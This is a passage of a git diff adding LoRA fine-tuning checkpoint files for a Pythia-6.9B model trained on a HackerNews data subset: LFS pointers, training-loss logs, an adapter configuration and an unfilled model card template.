sha256:a209ed099e59a7f0a76a551dfd8a9b38e1bbe9e22ae0f286eb589500fe2a09e0 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fc3bb37d365dcd8ae3528d8e7242f7d2eae755b3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:39cd0c0a4049d541d90e7c6154cb21167a341830884ad3558195617942678446 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3fc1a8fc07398191149b701be855b2b30b04d498 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8b8cfefd46d2412b7b17da7d799f9e9021312d0b294976f3e87f7063aa01557b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..5ca7ef33a07775a2d72f3ce3d24c95baf7890d67 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/trainer_state.json @@ -0,0 +1,558 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.666666666666667, + "eval_steps": 10, + "global_step": 350, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.7351251951616e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..ea5e79a846c32469cf19d6ab0ed6a84887afda21 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:366a0291e2529be5b7f5796631dce3d36ecffa7b56787b9aca86f56d98c596f9 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..5ebe31fb502caa47a8ca17552c36a0e72a944312 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:18a996c1bcdf13701c90e170ea8b116d3db55fef8272a259e5d43d9735aee831 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..dff7e422d3f8fc71ea77fa33b28878ffbe8abd43 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9d73d43b628bfbe3f56e29099c04e9e9584349f935d8148aa8c34849bf03ef49 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..fc7191e0d24d86be98ffef99b67fe56b52160821 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6cb47a43082c3958508d73a1bd58f111764a18725005ed6a37a8d99585cef386 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..e418cc32575b64842b3c6f7acccff9706625f69a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/trainer_state.json @@ -0,0 +1,573 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.8, + "eval_steps": 10, + "global_step": 360, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + 